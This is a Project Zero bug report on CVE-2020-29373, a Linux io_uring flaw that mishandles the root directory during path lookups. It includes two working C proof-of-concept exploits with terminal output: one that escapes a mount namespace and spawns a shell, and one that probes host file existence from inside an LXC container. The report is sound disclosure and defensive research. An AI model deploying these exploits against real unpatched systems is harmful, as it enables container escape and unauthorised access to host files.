Starred by 2 users

**Owner:** jannh@google.com

**CC:** proje...@google.com

**Status:** Fixed *(Closed)*

**Components:** ----

**Modified:** Dec 1, 2020

Severity-Medium
Deadline-90
Vendor-Linux
CCProjectZeroMembers
Finder-jannh
Product-Linux
Reported-2020-Feb-7
Fixed-2020-Mar-5
CVE-2020-29373

## Issue 2011: Linux >=5.3: io_uring: insecure handling of root directory for path lookups

Reported by jannh@google.com on Fri, Feb 7, 2020, 4:57 PM EST Project Member



When I saw
<https://lore.kernel.org/io-uring/20200207155039.12819-1-axboe@kernel.dk/T/>
today, I realized that this is not just a small correctness issue, but also has
some security implications on existing releases.

On 5.5, the incorrect handling of OPENAT means that not only the cwd, but also
the root directory is incorrect; here's a simple demonstration of how a process
inside a mount namespace can use that to gain access to the filesystem outside
the namespace:

```
================================================================================
root@vm:~/uring# cat punted_open.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <err.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include "linux/io_uring.h"

#ifndef SYS_io_uring_enter
#define SYS_io_uring_enter 426
#endif
#ifndef SYS_io_uring_setup
#define SYS_io_uring_setup 425
#endif

#define SYSCHK(x) ({          \
  typeof(x) __res = (x);      \
  if (__res == (typeof(x))-1) \
    err(1, "SYSCHK(" #x ")"); \
  __res;                      \
})

int main(void) {
  // initialize uring
  struct io_uring_params params = { };
  int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, &params));
  unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING));
  unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING));
  struct io_uring_sqe *sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));
```

```
  // execute openat via uring
  sqes[0] = (struct io_uring_sqe) {
    .opcode = IORING_OP_OPENAT,
    .flags = IOSQE_ASYNC,
    .fd = open("/", O_RDONLY),
    .addr = (unsigned long)"/",
    .open_flags = O_PATH | O_DIRECTORY
  };
  ((int*)(sq_ring + params.sq_off.array))[0] = 0;
  (*(int*)(sq_ring + params.sq_off.tail))++;
  int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0));
  printf("submitted %d, getevents done\n", submitted);
  int cq_tail = *(int*)(cq_ring + params.cq_off.tail);
  printf("cq_tail = %d\n", cq_tail);
  if (cq_tail != 1) errx(1, "expected cq_tail==1");
  struct io_uring_cqe *cqe = (void*)(cq_ring + params.cq_off.cqes);
  if (cqe->res < 0) {
    printf("result: %d (%s)\n", cqe->res, strerror(-cqe->res));
  } else {
    printf("result: %d\n", cqe->res);
    printf("launching shell\n");
    system("bash");
    printf("exiting\n");
  }
}
root@vm:~/uring# gcc -o punted_open punted_open.c
root@vm:~/uring# touch /tmp/real
root@vm:~/uring# unshare -m
root@vm:~/uring# mount -t tmpfs none /tmp
root@vm:~/uring# ls -l /tmp/real
ls: cannot access '/tmp/real': No such file or directory
root@vm:~/uring# ./punted_open
submitted 1, getevents done
cq_tail = 1
result: 5
launching shell
root@vm:~/uring# ls -l /tmp/real
ls: cannot access '/tmp/real': No such file or directory
root@vm:~/uring# ls -l /proc/self/fd/5/tmp/real
-rw-r--r-- 1 root root 0 Feb  7 20:00 /proc/self/fd/5/tmp/real
root@vm:~/uring#
================================================================================
```

But this doesn't just affect openat/openat2/statx, but also sendmsg() for datagram unix domain sockets, which already works with Linux 5.3. I tested this in a fully-updated (as of 2020-02-07) Ubuntu 19.10 VM, running distro kernel 5.3.0-29-generic. Note that this distro kernel still hasn't applied the fix for the previous uring security bug, despite it having been over two months since the fix landed in stable releases; that is going to affect the results from testing this PoC.

Compile the PoC:

```
================================================================================
user@ubuntu1910vm:~/uring$ cat uring_sendmsg_path.c
#define _GNU_SOURCE
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/ioctl.h>
#include <linux/rtnetlink.h>
#include <linux/if_addr.h>
#include <linux/io_uring.h>
#include <linux/userfaultfd.h>

#define SYSCHK(x) ({          \
  typeof(x) __res = (x);      \
  if (__res == (typeof(x))-1) \
    err(1, "SYSCHK(" #x ")"); \
  __res;                      \
})

static int uffd = -1;
static struct iovec *iov;
static struct iovec real_iov;
static struct io_uring_sqe *sqes;

static void *uffd_thread(void *dummy) {
  struct uffd_msg msg;
  int res = SYSCHK(read(uffd, &msg, sizeof(msg)));
  if (res != sizeof(msg)) errx(1, "uffd read");
  printf("got userfaultfd message\n");

  sqes[0].opcode = IORING_OP_SENDMSG;

  union {
    struct iovec iov;
    char pad[0x1000];
  } vec = {
    .iov = real_iov
  };
  struct uffdio_copy copy = {
    .dst = (unsigned long)iov,
    .src = (unsigned long)&vec,
    .len = 0x1000
  };
```

```
  SYSCHK(ioctl(uffd, UFFDIO_COPY, &copy));
  return NULL;
}

int main(int argc, char **argv) {
  if (argc != 2) errx(1, "invocation: %s <path>", argv[0]);

  // initialize uring
  struct io_uring_params params = { };
  int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, &params));
  unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING));
  unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING));
  sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));

  // prepare userfaultfd-trapped IO vector page
  iov = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0));
  uffd = SYSCHK(syscall(SYS_userfaultfd, 0));
  struct uffdio_api api = { .api = UFFD_API, .features = 0 };
  SYSCHK(ioctl(uffd, UFFDIO_API, &api));
  struct uffdio_register reg = {
    .mode = UFFDIO_REGISTER_MODE_MISSING,
    .range = { .start = (unsigned long)iov, .len = 0x1000 }
  };
  SYSCHK(ioctl(uffd, UFFDIO_REGISTER, &reg));
  pthread_t thread;
  if (pthread_create(&thread, NULL, uffd_thread, NULL))
    errx(1, "pthread_create");

  // construct message
  int sock = SYSCHK(socket(AF_UNIX, SOCK_DGRAM, 0));
  struct sockaddr_un addr = { .sun_family = AF_UNIX };
  if (strlen(argv[1])+1 > sizeof(addr.sun_path))
    errx(1, "argv[1] too long");
  strcpy(addr.sun_path, argv[1]);
  char msgbuf[1] = "X";
  real_iov.iov_base = &msgbuf;
  real_iov.iov_len = sizeof(msgbuf);
  struct msghdr msg = {
    .msg_name = &addr,
    .msg_namelen = sizeof(addr),
    .msg_iov = iov,
    .msg_iovlen = 1,
  };

  // send netlink message via uring
  sqes[0] = (struct io_uring_sqe) {
    .opcode = IORING_OP_RECVMSG,
    .fd = sock,
    .addr = (unsigned long)&msg
  };
  ((int*)(sq_ring + params.sq_off.array))[0] = 0;
  (*(int*)(sq_ring + params.sq_off.tail))++;
  int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0));
  printf("submitted %d, getevents done\n", submitted);
  int cq_tail = *(int*)(cq_ring + params.cq_off.tail);
  printf("cq_tail = %d\n", cq_tail);
  if (cq_tail != 1) errx(1, "expected cq_tail==1");
  struct io_uring_cqe *cqe = (void*)(cq_ring + params.cq_off.cqes);
  if (cqe->res < 0) {
    printf("result: %d (%s)\n", cqe->res, strerror(-cqe->res));
  } else {
    printf("result: %d\n", cqe->res);
  }
}
user@ubuntu1910vm:~/uring$ gcc -Wall -pthread -o uring_sendmsg_path uring_sendmsg_path.c
user@ubuntu1910vm:~/uring$
```

On the host, create a file at /root/x:

```
root@ubuntu1910vm:~# ls -l /root
total 4
drwxr-xr-x 2 root root 4096 Feb  7 22:29 blah
-rw-r--r-- 1 root root    0 Feb  7 22:26 x
root@ubuntu1910vm:~#
```

Create an unprivileged LXC container (which does not contain /root/x), and copy
the PoC into it:

```
root@my-container2:~# ls -l /root
total 20
-rwxr-xr-x 1 root root 17440 Feb  7 21:26 uring_sendmsg_path
root@my-container2:~#
```

Then, inside the container, you can determine whether a given path exists on the
host using a punted SENDMSG that uses that path as the destination - ENOENT
means it doesn't exist, ECONNREFUSED means it exists:

```
root@my-container2:~# ./uring_sendmsg_path /root/a
got userfaultfd message
submitted 1, getevents done
cq_tail = 1
result: -2 (No such file or directory)
root@my-container2:~# ./uring_sendmsg_path /root/x
got userfaultfd message
```

submitted 1, getevents done
cq_tail = 1
result: -111 (Connection refused)
root@my-container2:~#
==========

However, I think the patch proposed at
<https://lore.kernel.org/io-uring/20200207155039.12819-2-axboe@kernel.dk/>
also isn't safe - when you take a new reference to an fs_struct, you have to
check the fs_struct's ->in_exec flag, like in the fork code; otherwise, the
LSM_UNSAFE_SHARE mechanism for protecting setuid executable execution won't work
properly.

(I also think that API-wise, for the AT_FDCWD case, grabbing the task's
fs_struct is a bit weird; it might be better to grab a reference to the current
working directory directly instead if this is really something that has to be
supported?
Otherwise, if a task posts one OPENAT op, then does chdir() and posts another
OPENAT op, it will be non-deterministic which working directory is used by the
first OPENAT op - that seems quite error-prone?)

**This bug is subject to a 90 day disclosure deadline. After 90 days elapse,
the bug report will become visible to the public. The scheduled disclosure**
date is 2020-05-07.

Comment 1 by jannh@google.com on Wed, Feb 19, 2020, 4:50 PM EST Project Member

**Status:** Fixed (was: New)

fix in Linus' tree: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ff002b30181d30cdfbca316dadd099c3ca0d739c
merge commit: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ca60ad6a6bc4aa88c02c6f103dd80df54689ea4d

Comment 2 by jannh@google.com on Fri, Mar 6, 2020, 9:28 AM EST Project Member

fixed in 5.4.24: https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.4.24

Comment 3 by jannh@google.com on Wed, Apr 8, 2020, 5:24 AM EDT Project Member

**Labels:** -Restrict-View-Commit

As discussed with the kernel security folks a week ago, derestricting this since it's been in stable for >1 week (for quite some time now).

Comment 4 by jannh@google.com on Mon, Nov 16, 2020, 3:11 PM EST Project Member

**Labels:** Fixed-2020-Mar-5

Comment 5 by jannh@google.com on Tue, Dec 1, 2020, 9:56 AM EST Project Member

**Labels:** CVE-2020-29373